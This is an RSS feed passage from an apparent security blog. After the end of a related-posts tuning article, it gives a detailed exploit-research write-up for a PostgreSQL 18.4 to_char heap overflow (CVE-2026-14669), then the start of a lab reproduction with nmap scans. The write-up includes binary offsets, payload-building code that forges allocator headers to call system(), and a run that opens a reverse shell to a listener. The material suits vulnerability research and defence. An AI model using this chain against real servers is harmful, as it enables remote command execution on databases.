&lt;p&gt;tfidf 把空结果压到 4 篇，代价是无关率从 8.1% 升到 11.3%。BM25 空结果最少，只有 2 篇，但无关率最高，达到 12.9%，它太容易把“长得像”当成“讲的是同一件事”。&lt;/p&gt;
&lt;p&gt;hybrid 是 LSA 加标签的折中，nDCG 0.915，P@4 0.581，无关率 12.9%，空结果 2 篇。它比单用 LSA 好，但没超过纯标签，说明这里的瓶颈是内容项本身不够准，不是组合方式。&lt;/p&gt;
&lt;p&gt;LSA 的表现最差，无关率 15.3%。原因大概是语料太小，31 篇文档做 12 维分解，自由度比数据还多，压出来的向量并不稳。&lt;/p&gt;
&lt;h2&gt;权重扫描&lt;/h2&gt;
&lt;p&gt;既然标签和内容各有短板，权重就成了唯一的调节旋钮。把打分写成：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;score = w × 内容相似度 + (1 - w) × 标签 Jaccard
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;w 从 0 扫到 1，每次步进 0.1：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;内容项/权重      nDCG@4  P@4   无关率  空结果  组合数
tfidf 0.0       0.962   0.573 0.081   6/31   29/31
tfidf 0.3       0.946   0.573 0.097   8/31   30/31
tfidf 0.6       0.954   0.581 0.097   7/31   30/31
tfidf 0.7       0.957   0.589 0.097   7/31   31/31
tfidf 0.9       0.952   0.556 0.097   5/31   31/31
tfidf 1.0       0.945   0.532 0.113   4/31   31/31
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;（中间省略四行，趋势一致）&lt;/p&gt;
&lt;p&gt;w 在 0.6 到 0.7 之间时，nDCG 只比纯标签低 0.005，无关率只高 1.6 个百分点，但 31 篇文章全部有结果，组合数拉满。这就是站点最后选的区间。&lt;/p&gt;
&lt;h2&gt;阈值&lt;/h2&gt;
&lt;p&gt;权重定了之后还有一个阈值：分数低于多少就不展示。阈值太高会出现空列表，太低会混进无关文章。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS&amp;gt; node --experimental-strip-types scripts/seo-eval/tune.mjs
阈值   平均条数  空列表  无关率  均分  nDCG@4
0.00   4.00      0/31   0.089   1.85   0.957
0.10   3.87      0/31   0.073   1.89   0.957
0.12   3.74      0/31   0.056   1.91   0.957
0.15   3.45      2/31   0.000   2.13   0.988
0.20   3.26      4/31   0.000   2.29   0.989
0.25   2.77      5/31   0.000   2.48   0.986
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;阈值 0.15 是拐点：无关项掉到 0，平均分从 1.91 升到 2.13，代价是 2 篇文章没有相关文章。这两篇是 arp-scan 和 FastAPI 微信小程序，跟站内其它文章确实没有交集，空着比硬凑好。&lt;/p&gt;
&lt;p&gt;如果再往后推到 0.20，空列表变成 4 篇，平均分只多 0.16，不划算。&lt;/p&gt;
&lt;h2&gt;现在的实现&lt;/h2&gt;
&lt;p&gt;最终的打分是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;score = cosine(TF-IDF 向量) + 0.35 × Jaccard(标签)
阈值 0.15，最多 4 条
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;0.35 的权重换算成比例就是 0.74 比 0.26，落在扫描出来的 0.6 到 0.7 区间附近。这个公式写在 &lt;code&gt;src/utils/related-posts.ts&lt;/code&gt; 里，构建时对当时的 31 篇文章建一次索引，耗时 36 毫秒，之后每篇文章查一次 11 毫秒，对构建时间没有可见影响。&lt;/p&gt;
&lt;p&gt;索引结构是文档数乘词表大小，这里只有 31 篇，全部放在内存里。文章数涨到几百篇时需要换成稀疏矩阵加倒排表，否则建索引的时间会开始显眼。&lt;/p&gt;
&lt;h2&gt;这套评估的问题&lt;/h2&gt;
&lt;p&gt;第一个是标注偏差。标注标准和标签编码的属性重合，标签法因此占了便宜。要消除这个偏差，需要另一个人在不看标签的情况下独立标注，或者引入点击数据。两者现在都没有。&lt;/p&gt;
&lt;p&gt;第二个是样本量。169 对能区分出 8% 和 15% 的无关率差异，但区分不了 0.95 和 0.96 的 nDCG。表里几个算法在小数点后第三位上的差距，不值得当成结论。&lt;/p&gt;
&lt;p&gt;第三个是语义。这套方法算的是词的重合，不是意思。Tomcat AJP 下面出现 OverlayFS，是因为两篇文章都在反复讲 root、shell、命令、文件这些词，向量确实接近。换成句向量模型能解决，但要在构建时加载模型或者调接口，对 31 篇文章的博客不值得。&lt;/p&gt;
&lt;p&gt;第四个是时效。相关文章列表跟着文章内容走，文章改了列表就变。这套逻辑没有稳定输出，同一分对可能因为别处新增一篇文章而换位。对博客来说这是可接受的，对需要长期稳定的场景不是。&lt;/p&gt;
&lt;h2&gt;复现&lt;/h2&gt;
&lt;p&gt;评估脚本在 &lt;code&gt;scripts/seo-eval/&lt;/code&gt; 下，标注数据是 &lt;code&gt;labels.json&lt;/code&gt; 里的 169 个整数，与 &lt;code&gt;labelled-pairs.json&lt;/code&gt; 的 169 个文章对一一对应。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS&amp;gt; node --experimental-strip-types scripts/seo-eval/eval2.mjs   # 六种算法对比与权重扫描
PS&amp;gt; node --experimental-strip-types scripts/seo-eval/tune.mjs    # 阈值扫描
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;换一批文章也能直接跑，路径写死在文件里，改一下 &lt;code&gt;POSTS_DIR&lt;/code&gt; 常量即可。&lt;/p&gt;
</content:encoded></item><item><title>PostgreSQL to_char 堆溢出利用研究记录（CVE-2026-14669）</title><link>https://blog.mal-suen.cn/posts/2026/11/225/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2026/11/225/</guid><description>记录在 PostgreSQL 18.4 上从公开 PoC 走到自建利用链的研究过程。从分配器方法表的来源讲起，依次建立观测手段、筛选写原语、解决地址漂移、在块头约束下改用复位回调，最终取得反弹 shell。</description><pubDate>Sat, 07 Nov 2026 02:40:00 GMT</pubDate><content:encoded>&lt;p&gt;复现文章记录结论，本文记录研究过程。CVE-2026-14669 是 &lt;code&gt;to_char&lt;/code&gt; 处理时区缩写时的堆溢出，公开利用只针对 19beta1 的一个特定构建。目标是在 18.4 上从任意可登录账号取得命令执行，全程只使用 SQL。&lt;/p&gt;
&lt;h2&gt;问题的定义&lt;/h2&gt;
&lt;p&gt;漏洞本身只提供一次越界写。要把它变成可控利用，需要回答三个问题：越界写能覆盖哪些结构、哪些结构被改写后会触发进一步行为、以及在没有符号信息时如何确定这些结构的地址。&lt;/p&gt;
&lt;p&gt;公开利用依赖 19beta1 的分配器行为与堆布局，直接照搬到 18.4 会让后端在准备阶段崩溃，崩溃点位于 &lt;code&gt;GenerationFree&lt;/code&gt; 内部，与公开链预期的位置不同。这说明两版的内部结构存在差异，继续调常数没有意义，需要先建立对目标分配器的准确认识。&lt;/p&gt;
&lt;h2&gt;方法号是什么，从哪里来&lt;/h2&gt;
&lt;p&gt;PostgreSQL 的内存分配统一走 &lt;code&gt;palloc&lt;/code&gt;，每次分配都归属于某个 &lt;code&gt;MemoryContext&lt;/code&gt;。不同上下文可以由不同的分配器实现：普通上下文用 &lt;code&gt;AllocSet&lt;/code&gt;，按代管理的上下文用 &lt;code&gt;Generation&lt;/code&gt;，固定大小对象的上下文用 &lt;code&gt;Slab&lt;/code&gt;，只增不减的上下文用 &lt;code&gt;Bump&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;每种分配器都实现同一组操作（分配、释放、重分配、复位、删除等），打包成一个函数指针数组，称为方法表。程序启动时这些方法表按顺序登记进一张全局数组 &lt;code&gt;mcxt_methods[]&lt;/code&gt;，数组下标就是方法号。分配器在写入块头时，把自己的下标写进块头的低四位，于是释放时不需要知道上下文，只读块头就能找到对应的释放函数。派发过程本身只有三步：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uint64 hdrmask = *(uint64 *) ((char *) pointer - 8);
uint32 method  = hdrmask &amp;amp; 0x0F;
mcxt_methods[method]-&amp;gt;free_p(pointer);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;18.4 的派发表位于映像内固定偏移 &lt;code&gt;0x9D9400&lt;/code&gt;，每项 72 字节（9 个指针），第二个指针是释放函数。逐项读出的结果如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;方法号        释放函数            RVA
0,1,2,8-15    BogusFree           0x17186E
3             AllocSetFree        0x6A1DC0
4             GenerationFree      0x6A7090
5             SlabFree            0x6AA1C0
6             指针对齐转发        0x6A1460
7             BumpFree            0x171221
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这张表还解释了一个后续反复用到的常数。&lt;code&gt;AllocSet&lt;/code&gt; 的方法表地址等于派发表基址加上方法号乘项长：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x9D9400 + 3 * 72 = 0x9D94D8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;0x9D94D8&lt;/code&gt; 正是泄漏阶段用来反推程序基址的那个偏移。它之所以固定，是因为方法表在映像中的位置由链接顺序决定，不随运行期地址变化。对应的机器码也只有五条指令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;6a8600 &amp;lt;pfree&amp;gt;:
  mov    -0x8(%rdi),%rax
  and    $0xf,%eax
  lea    (%rax,%rax,8),%rdx      ; 方法号乘 9
  lea    0x330dea(%rip),%rax     ; mcxt_methods
  jmp    *0x8(%rax,%rdx,8)       ; 跳到 free_p
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;块头 8 个字节的位域划分同样来自这套设计：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;位 0-3     方法号（4 位）
位 4       external 标志（0x10）
位 5-34    块大小（30 位）
位 34-63   块偏移（30 位，最低位恒为 0）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;释放函数用块偏移复原所属大块的地址，三个真实释放函数展开后是同一个公式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;block = (chunk - 8) - ((hdr &amp;gt;&amp;gt; 34) &amp;amp; 0x3FFFFFFE)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;字段本身有 30 位，但利用时只能控制块头的前 6 个字节，因此实际可用偏移不超过 0x3FFFFFFE，即向低地址 16 KB。&lt;/p&gt;
&lt;h2&gt;建模之后，崩溃变成可定位的事实&lt;/h2&gt;
&lt;p&gt;模型建立之前，一次崩溃只说明“参数不对”。模型建立之后，同样的崩溃可以读出函数名、指令偏移与出错字段。例如照搬公开链时的记录：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;RIP=0x55d1d72bf10d &amp;lt;GenerationFree+125&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;偏移 &lt;code&gt;+125&lt;/code&gt; 对应读取伪造块的 &lt;code&gt;context&lt;/code&gt; 字段，说明类型混淆确实发生，问题出在块结构与 19beta1 不同。围绕这一判断又做了两组扫描。&lt;/p&gt;
&lt;p&gt;第一组固定填充字符为 &lt;code&gt;d&lt;/code&gt;，改变缩写长度：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;缩写长度   结果
16-31     正常返回
32        pfree 拒绝，块头 0x0000020000000000
33-49     后端崩溃
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;to_char(now(),&apos;TZtz&apos;)&lt;/code&gt; 的结果缓冲区是 64 字节的块，偏移 64 即下一个块头。长度不超过 31 时两次拷贝都留在块内；32 时只有一个终止符落到块头首字节；33 起开始改写方法号。&lt;/p&gt;
&lt;p&gt;第二组固定长度为 33，改变填充字符：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;填充   方法号   结果
b      2        pfree 拒绝
c      3        正常返回
d      4        后端崩溃
e      5        后端崩溃
f      6        pfree 拒绝
g      7        后端崩溃
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;只有 &lt;code&gt;c&lt;/code&gt; 存活，公开链使用的 &lt;code&gt;d&lt;/code&gt; 恰好对应崩溃的那一项。方法号与释放函数的对应关系随版本不同，这是第一处不能照搬的地方。&lt;/p&gt;
&lt;h2&gt;观测手段：把未知量变成可测量量&lt;/h2&gt;
&lt;p&gt;模型给出结构，观测给出数值。研究过程中固定使用三种方式。&lt;/p&gt;
&lt;p&gt;第一种是把软报错当作探针。方法号 1 进入 &lt;code&gt;BogusFree&lt;/code&gt;，报错同时给出被释放指针与块头内容，既不终止进程，又能读出地址。解析只需要一次正则：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;m = re.search(rb&quot;invalid pointer (0x[0-9a-f]+)&quot;, err)
addr = int(m.group(1), 16)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第二种是用特征值定位缓冲区。在载荷固定位置写入 &lt;code&gt;system&lt;/code&gt; 的 PLT 地址，在 &lt;code&gt;hex_decode&lt;/code&gt; 返回的瞬间扫描堆内存，命中位置减去固定偏移即为载荷起点：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;载荷长度   与泄漏指针的距离
2048       -68
3072       -68
4096       +65620
6000       +73236
7000       +77236
8090       +81588
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;3 KB 以内稳定落在泄漏指针减 68 的位置，4 KB 起进入独立大块。这条分布决定了后续载荷的尺寸上限。&lt;/p&gt;
&lt;p&gt;第三种是写后读回。任意写原语会把目标原值同时读回结果缓冲区，因此每次写入都能确认是否真的发生。用它读出的两个全局变量为后续设计提供基准：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PortalContext 原值         = 0x55d1f173e750
TopTransactionContext 原值 = 0x55d1f18513a0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;三种手段要落地，还需要一套能反复使用的观测工具链。早期用一次性的 &lt;code&gt;psql -c&lt;/code&gt; 发语句，进程在语句结束或后端崩溃后立即断开，gdb 往往来不及附加；后来改为常驻会话加常驻 gdb：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkfifo /tmp/qf
PGPASSWORD=postgres psql -h 127.0.0.1 -p 55432 -U postgres -f /tmp/qf &amp;amp;
exec 3&amp;gt;/tmp/qf                                  # 保持 fifo 打开
echo &quot;select pg_backend_pid();&quot; &amp;gt;&amp;amp;3
HP=$(docker top pg14669 -o pid,args | grep &quot;(54321)&quot; | awk &apos;{print $1}&apos;)
gdb -q -p $HP -ex &quot;source /tmp/trace.py&quot; -ex &quot;continue&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里有两个容易踩的细节。其一，后端进程要用客户端端口匹配，不能按命令行关键词取第一个，否则会附加到空闲连接上；其二，gdb 输出默认带缓冲，直接 kill 会丢失记录，需要在断点命令里 detach 后 quit，让它自己退出。&lt;/p&gt;
&lt;h2&gt;写原语的判据与筛选&lt;/h2&gt;
&lt;p&gt;在模型与观测具备之后，写原语的筛选有明确判据：不调用 libc &lt;code&gt;free&lt;/code&gt;、写入值可控、目标地址可控、不破坏当前事务。&lt;/p&gt;
&lt;h3&gt;方法号 6：指针对齐&lt;/h3&gt;
&lt;p&gt;指针对齐把块头里的偏移字段当成反推量：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;target = chunk - ((hdr &amp;gt;&amp;gt; 34) &amp;amp; 0x3FFFFFFE) - 8
然后 jmp pfree(target)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同一条语句中 &lt;code&gt;decode()&lt;/code&gt; 落在 &lt;code&gt;D&lt;/code&gt;，&lt;code&gt;to_char&lt;/code&gt; 的缓冲区在 &lt;code&gt;D+4192&lt;/code&gt;，几何固定，偏移因此是常数。缩写第 29 到 34 字节就是按这个偏移算出来的六个字节：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;off6 = 4192 - 8 - 0x400
hdr  = 6 | (off6 &amp;lt;&amp;lt; 34)                  # 方法号 6 + 偏移
abbr[29:35] = hdr.to_bytes(8, &quot;little&quot;)[:6]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;实际脚本还会把偏移字段之外的高位填成非零字节，避免缩写里出现 NUL。十次独立会话全部重定向成功。&lt;/p&gt;
&lt;h3&gt;方法号 3：读写搬移&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;AllocSetFree&lt;/code&gt; 在非 external 分支上只做一次搬移，不调用 &lt;code&gt;free&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;block = chunk - 8 - ((hdr &amp;gt;&amp;gt; 34) &amp;amp; 0x3FFFFFFE)
rcx   = *(block)
rsi   = *(rcx + (size + 10) * 8 + 8)
*(chunk) = rsi
*(rcx + (size + 10) * 8 + 8) = chunk - 8
ret
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;目标地址由 &lt;code&gt;*(block)&lt;/code&gt; 与块大小字段共同决定，两者都在载荷中；写入值是块头地址，同时目标原值被读回。这一条同时满足任意读写与“不调用 free”，成为后续所有工作的基础。对应的载荷骨架如下，其中 &lt;code&gt;P&lt;/code&gt; 由目标地址反推，减法按 64 位回绕：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;size = 1 | (0x0A&amp;lt;&amp;lt;3) | (0x69&amp;lt;&amp;lt;11) | (0x64&amp;lt;&amp;lt;19)      # &quot;#\nid&quot;
boff = 64
hdr  = (3 | (size &amp;lt;&amp;lt; 5) | (boff &amp;lt;&amp;lt; 34)).to_bytes(8, &quot;little&quot;)
P    = (target - (size + 10) * 8 - 8) &amp;amp; 0xFFFFFFFFFFFFFFFF
pay[K-12:K-4]    = hdr                     # pfree 读取的块头
pay[K+4:K+12]    = (T + 0x200).to_bytes(8, &quot;little&quot;)   # 方法表指针
pay[K+0x1FC:...] = table                   # 九项方法表，第 4 项换成 system
pay[KB:KB+8]     = P.to_bytes(8, &quot;little&quot;) # 伪造块的 *(block)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;九个方法表项除第 4 项外全部照抄真实值，这样上下文在被复位之前若被分配器用到，仍然能继续工作。&lt;/p&gt;
&lt;h3&gt;方法号 4：摘链之后调用 free&lt;/h3&gt;
&lt;p&gt;方法号 4 的摘链同样能写两个地址，但摘链之后紧跟一句 &lt;code&gt;jmp free@plt&lt;/code&gt;。伪造块位于解码缓冲区内部，不是 &lt;code&gt;malloc&lt;/code&gt; 返回的块首，libc 会直接中止进程。围绕它做了 10 个目标乘 10 种伪造结构的实验，共 100 轮，结果全部为连接中断：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;目标                     轮数   结果
PortalContext            10     中断
CurTransactionContext    10     中断
TopTransactionContext    10     中断
MessageContext           10     中断
CacheMemoryContext       10     中断
ErrorContext             10     中断
TopMemoryContext         10     中断
CurrentMemoryContext     10     中断
PortalContext（断开）    10     中断
MessageContext（提交）   10     中断
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由此整条路径被放弃，而不是继续修补。&lt;/p&gt;
&lt;h3&gt;四条候选的取舍&lt;/h3&gt;
&lt;p&gt;四条原语的取舍可以并成一张表：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;候选         不调 free   写入值可控         目标可控   结论
方法号 6     是          不写值，只转移     是         用作入口
方法号 3     是          固定为块头地址     是         用作读写
方法号 4     否          是                 是         放弃
方法号 5     未验证      依赖真实 Slab 结构 否         未展开
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;把这四条判据写在前面，筛选就不再依赖直觉：先看收尾是否调用 libc &lt;code&gt;free&lt;/code&gt;，再看写入值与目标地址是否都能由载荷决定，最后看会不会破坏当前事务。&lt;/p&gt;
&lt;h2&gt;地址漂移与收敛&lt;/h2&gt;
&lt;p&gt;方法表指针必须是绝对地址，而 &lt;code&gt;decode()&lt;/code&gt; 的落点在同一事务内会漂移。这里的思路是把未知量转化为可测量量：在 &lt;code&gt;.data&lt;/code&gt; 中选一个空闲槽作为标定板，用同一形状的语句连续执行三次，每次把槽内原值读回结果缓冲区，下一步用读回值加 8 修正指针：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[*] converge 0: fake ctx = 0x0
[*] converge 1: fake ctx = 0x55d1f17bb948
[*] converge 2: fake ctx = 0x55d1f17bb948
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对应的循环只有五行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for i in range(3):
    cur.execute(&quot;SELECT decode(&apos;%s&apos;, ...), to_char(now(),&apos;TZtz&apos;)&quot; % payload(T, base+SCRATCH).hex())
    old = int.from_bytes(res[K-4:K+4], &quot;little&quot;)
    if old &amp;gt; 0x500000000000:
        T = old + 8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;两次收敛到同一地址，说明落点稳定。此后连续四次执行，收敛值均为 &lt;code&gt;0x55d1f17bb948&lt;/code&gt;，载荷第一次具备确定性。&lt;/p&gt;
&lt;h2&gt;约束下的劫持设计&lt;/h2&gt;
&lt;p&gt;写入值固定为块头地址，这一限制反过来决定劫持方式。块头 8 个字节同时受三方面约束：低四位为方法号 3，第五位为 external 标志且必须为零，第五字节为上下文的是否已复位标志。&lt;/p&gt;
&lt;p&gt;选择 &lt;code&gt;0x23&lt;/code&gt; 作为首字节，同时满足方法号 3 与 external 位为零，字符为 &lt;code&gt;#&lt;/code&gt;；第二字节放换行，使后续内容成为第二行，避开注释；块偏移取 64，使第五字节为零：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;23 0a 69 64 00 01 00 00   -&amp;gt;   &quot;#\nid&quot;
size = 0x3234851   block offset = 64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;块偏移若取其他值，第五字节非零，复位入口会判定上下文已复位并直接返回，提交时没有任何反应。&lt;/p&gt;
&lt;p&gt;命令只有两个字符，无法承载完整操作。最终方案改用复位回调：上下文结构的 &lt;code&gt;reset_cbs&lt;/code&gt; 字段位于 &lt;code&gt;T+0x40&lt;/code&gt;，指向载荷中 &lt;code&gt;T+0x60&lt;/code&gt; 的回调块，回调的 &lt;code&gt;func&lt;/code&gt; 为 &lt;code&gt;system&lt;/code&gt;，&lt;code&gt;arg&lt;/code&gt; 指向 &lt;code&gt;T+0x100&lt;/code&gt; 的完整命令串。回调在方法表之前执行，参数完全由载荷决定，长度不再受限。&lt;/p&gt;
&lt;h2&gt;验证：从低权限账号到交互式 shell&lt;/h2&gt;
&lt;p&gt;从攻击机以低权限账号执行，监听端收到交互式 shell：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ python3 rs.py 192.168.31.148 55432 postgres postgres 192.168.31.152 4444
[+] PIE base = 0x55d1d6c18000
[*] converge 1: fake ctx = 0x55d1f17bb948
[*] fake context -&amp;gt; 0x55d1f17bb940
[+] payload delivered, expect a shell on 192.168.31.152:4444
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;connect to [192.168.31.152] from (UNKNOWN) [192.168.31.148] 34386
postgres@e2d973a1a25d:~/18/docker$ id
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;连续四次执行均建立连接，收敛值一致。&lt;/p&gt;
&lt;h2&gt;方法总结&lt;/h2&gt;
&lt;p&gt;先建模，后实验。把派发表与块指针公式读清楚，崩溃就从未知故障变成已知路径上的确定位置。&lt;/p&gt;
&lt;p&gt;先定判据，再筛原语。把“不调用 libc free、写入值与目标地址可控、不破坏当前事务”写成明确条件，可以快速排除看似诱人但必然失败的路径。&lt;/p&gt;
&lt;p&gt;用观测替代猜测。软报错探针、特征值扫描、写后读回，三者把大部分未知量变成可测量量，地址漂移由此转化为收敛问题。&lt;/p&gt;
&lt;p&gt;约束之下寻找替代路径。写入值固定导致命令长度受限，解法不是硬撑，而是换用回调结构，让参数来源从块头转移到载荷。&lt;/p&gt;
&lt;p&gt;复现的环境、探测与验证过程见&lt;a href=&quot;/posts/2026/11/224/&quot;&gt;复现文章&lt;/a&gt;。&lt;/p&gt;
</content:encoded></item><item><title>PostgreSQL to_char 时区缩写堆溢出到代码执行（CVE-2026-14669）复现</title><link>https://blog.mal-suen.cn/posts/2026/11/224/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2026/11/224/</guid><description>CVE-2026-14669 是 PostgreSQL to_char 处理时区缩写时的堆溢出。结果缓冲区按格式化串长度分配，每个格式字符 12 字节，而 TZ 项把会话时区缩写直接 strcpy 进去且不校验长度。会话时区是普通用户可改的参数，因此任意可登录账号都能让后端越界写，公开利用已在小版本上打通到命令执行。</description><pubDate>Thu, 05 Nov 2026 01:20:00 GMT</pubDate><content:encoded>&lt;h2&gt;漏洞基础信息&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;项目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;漏洞编号&lt;/td&gt;
&lt;td&gt;CVE-2026-14669&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;漏洞类型&lt;/td&gt;
&lt;td&gt;堆缓冲区溢出（CWE-122）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;影响组件&lt;/td&gt;
&lt;td&gt;PostgreSQL 核心服务端，&lt;code&gt;src/backend/utils/adt/formatting.c&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;触发入口&lt;/td&gt;
&lt;td&gt;&lt;code&gt;to_char(timestamptz, format)&lt;/code&gt; 中的 &lt;code&gt;TZ&lt;/code&gt;、&lt;code&gt;tz&lt;/code&gt; 格式化项&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;攻击前提&lt;/td&gt;
&lt;td&gt;任意可连接数据库并执行 SELECT 的账号&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 3.1&lt;/td&gt;
&lt;td&gt;8.8，AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;影响版本&lt;/td&gt;
&lt;td&gt;18.0 至 18.5、17.0 至 17.10、16.0 至 16.14、15.0 至 15.18、14.0 至 14.23&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;修复版本&lt;/td&gt;
&lt;td&gt;18.6、17.11、16.15、15.19、14.24，2026 年 8 月 13 日发布&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;code&gt;to_char(timestamptz, format)&lt;/code&gt; 把时间戳按格式串渲染成字符串。函数先按格式串的长度申请结果缓冲区，每个格式字符预留 12 字节，随后逐项把内容写进去。处理 &lt;code&gt;TZ&lt;/code&gt; 与 &lt;code&gt;tz&lt;/code&gt; 这两个格式项时，它把会话时区中的缩写直接拷入缓冲区，没有检查缩写的长度。&lt;/p&gt;
&lt;p&gt;时区缩写来自会话参数 &lt;code&gt;TimeZone&lt;/code&gt;。该参数是 PGC_USERSET 级别，任何能登录的账号都可以修改，并且支持 POSIX 形式的时区串，尖括号内允许任意字符。触发这个漏洞不需要超级用户，只需要一个能执行 SELECT 的账号。&lt;/p&gt;
&lt;h2&gt;漏洞复现&lt;/h2&gt;
&lt;h3&gt;环境搭建&lt;/h3&gt;
&lt;p&gt;靶标是一台运行 PostgreSQL 18.4 的主机，数据库端口映射到 55432。靶场侧预置一个只有连接权限的账号 &lt;code&gt;lowpriv&lt;/code&gt;，口令同名，用来模拟攻击者手上已经有的一组低权凭据；除此之外不对靶机做任何改动。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ docker run -d --name pg14669 -e POSTGRES_PASSWORD=postgres \
  -p 55432:5432 postgres:18.4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;账号由靶场侧建立，不属于攻击步骤：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE USER lowpriv LOGIN PASSWORD &apos;lowpriv&apos;;
GRANT CONNECT ON DATABASE postgres TO lowpriv;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;目标探测&lt;/h3&gt;
&lt;p&gt;攻击机与靶机同在 192.168.31.0/24，此时除了 IP 没有任何已知信息。先做全端口扫描：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ nmap -sV -Pn -T4 -p- 192.168.31.148
Starting Nmap 7.98 ( https://nmap.org ) at 2026-11-04 14:52 -0500
Nmap scan report for 192.168.31.148
Host is up (0.00076s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 10.2p1 Debian 6 (protocol 2.0)
55432/tcp open  postgresql PostgreSQL DB 9.6.0 or later
MAC Address: 00:0C:29:B3:23:74 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address, 1 host up, scanned in 9.45 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿到开放端口之后，自然会先试漏洞脚本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ nmap -Pn -p 55432 --script vuln 192.168.31.148
Starting Nmap 7.98 ( https://nmap.org ) at 2026-11-04 14:58 -0500
Nmap scan report for 192.168.31.148
Host is up (0.0012s latency).

PORT      STATE SERVICE
55432/tcp open  unknown

Nmap done: 1 IP address, 1 host up, scanned in 11.36 seconds
&lt;/code&gt;&lt;/pre&gt;
